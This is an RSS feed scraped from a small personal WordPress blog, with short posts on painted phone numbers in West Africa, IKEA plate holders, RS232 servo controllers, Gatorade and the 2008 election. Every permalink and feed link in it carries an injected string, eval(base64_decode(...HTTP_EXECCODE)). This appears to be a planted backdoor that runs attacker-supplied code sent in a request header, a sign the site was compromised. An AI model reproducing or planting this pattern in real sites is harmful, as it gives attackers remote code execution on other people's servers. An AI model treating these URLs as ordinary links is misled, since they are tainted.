Fronzel.com » Uncategorized http://fronzel.com There are a million blogs on the internet. This is one of them. Sun, 22 Jan 2012 00:16:14 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 House numbers and mobile phones http://fronzel.com/2010/04/04/house-numbers-and-mobile-phones/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=house-numbers-and-mobile-phones http://fronzel.com/2010/04/04/house-numbers-and-mobile-phones/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 04 Apr 2010 07:43:39 +0000 Clark http://fronzel.com/?p=199 Continue reading →]]> Something that I see all over west Africa is houses will have long numbers written on them either on the door or near it.  They tend to be spray painted. They aren’t house numbers, they are mobile phone numbers. It is interesting to me that they use their phone number to define where they live.

The way the mobiles work here is they are all prepaid and you can always receive calls, but can only make them if you have credit. So none of them have any credit on their phones. They use them to receive calls and texts and play music, but not to make calls because that costs money.

]]> http://fronzel.com/2010/04/04/house-numbers-and-mobile-phones/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Plate holders http://fronzel.com/2009/01/25/plate-holders/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=plate-holders http://fronzel.com/2009/01/25/plate-holders/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 25 Jan 2009 02:26:36 +0000 Clark http://fronzel.com/?p=144 Continue reading →]]>


IMG_0047 (Large)

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We needed a china cabinet, but don’t have the room to put one and didn’t want to really invest in a nice piece of furniture for a house we don’t intend to stay in.

So we got a Billy bookcase from Ikea and started using that. The main problem was the plates were a little too large to lay flat.

So my plan was to build some plate holders to make them stay up. After a first disastrous attempt, I realized I needed a drill press to make my holes straight. I got a drill press for Christmas, but then we were at Ikea and found their plate holder for three dollars.

As much as I would have liked to build my own, I couldn’t beat the price. And the plates look so nice standing up.

]]> http://fronzel.com/2009/01/25/plate-holders/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 RS232 http://fronzel.com/2008/11/09/rs232/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=rs232 http://fronzel.com/2008/11/09/rs232/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 09 Nov 2008 17:33:41 +0000 Clark http://fronzel.com/?p=119 Continue reading →]]> I want to build an animatronic bird(Finally) and I’m looking at servo controllers. The large bulk of them use RS232 to talk to the computer.

Why won’t it die? I don’t think I have a computer with 9 pin serial ports.

]]> http://fronzel.com/2008/11/09/rs232/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Manifesto in the hood http://fronzel.com/2008/10/15/manifesto-in-the-hood/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=manifesto-in-the-hood http://fronzel.com/2008/10/15/manifesto-in-the-hood/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 15 Oct 2008 22:50:05 +0000 Clark http://fronzel.com/?p=110


IMG_1075 (Large)

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A 5 page article ranting about how evil the Republicans are.

I wish this would end when the election does, but I know it won’t.

]]> http://fronzel.com/2008/10/15/manifesto-in-the-hood/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Radio Controlled C-17 http://fronzel.com/2008/10/15/radio-controlled-c-17/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=radio-controlled-c-17 http://fronzel.com/2008/10/15/radio-controlled-c-17/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 15 Oct 2008 22:40:51 +0000 Clark http://fronzel.com/?p=109 Continue reading →]]> I think when I get a few other projects out of the way, I might try R/C planes. Things like this excite me.

And why can’t I buy SMD resistors in bags less then 10,000 units? Turns out to not have been needed, but Jesus. Surely somebody sells them in amateur quantities.

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tumbleweed

Originally uploaded by Fronzel

If you want to know what it is like working in California, this hit my truck one day. As I was driving.

It managed to scare the poop out of me.

]]> http://fronzel.com/2008/10/14/tumbleweed/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Gatorade flavored Gatorade http://fronzel.com/2008/09/27/gatorade-flavored-gatorade/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=gatorade-flavored-gatorade http://fronzel.com/2008/09/27/gatorade-flavored-gatorade/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 27 Sep 2008 14:47:54 +0000 Clark http://fronzel.com/?p=102 Continue reading →]]>


themanyflavorsofgatorade

Originally uploaded by Fronzel

I’m spending a lot of time on locations that have no facilities for drinking. So I bring an ice chest filled with Coke and Gatorade.

One thing I’ve noticed is you can’t get the lemony-orangey vaguely chemical waste tasting Gatorade from my youth. Now it tastes almost Kool-aidy.

I’m not complaining, but I don’t like the marketing versions of Gatorade. They even sell a breakfast drink version of Gatorade.

]]> http://fronzel.com/2008/09/27/gatorade-flavored-gatorade/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Am I the only one to notice? http://fronzel.com/2008/09/03/am-i-the-only-one-to-notice/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=am-i-the-only-one-to-notice http://fronzel.com/2008/09/03/am-i-the-only-one-to-notice/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 03 Sep 2008 22:12:14 +0000 Clark http://fronzel.com/?p=91 Continue reading →]]> This election is turning out to sound like the plot for a Sitcom.

“He’s a grizzled Washington veteran.  His partner is a young and inexperienced African American demagogue. And now, they have to lead the nation!”

“He’s a grizzled Washington veteran, She’s a young and inexperienced former beauty queen and now they share one office!”

]]> http://fronzel.com/2008/09/03/am-i-the-only-one-to-notice/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 1 I mean it this time http://fronzel.com/2008/01/26/i-mean-it-this-time/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=i-mean-it-this-time http://fronzel.com/2008/01/26/i-mean-it-this-time/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 26 Jan 2008 00:29:01 +0000 Fronzel http://fronzel.com/?p=3 I really, really will update this one.

]]> http://fronzel.com/2008/01/26/i-mean-it-this-time/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Hello world! http://fronzel.com/2008/01/25/hello-world/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=hello-world http://fronzel.com/2008/01/25/hello-world/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sat, 26 Jan 2008 00:26:53 +0000 Fronzel http://fronzel.com/?p=1 Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

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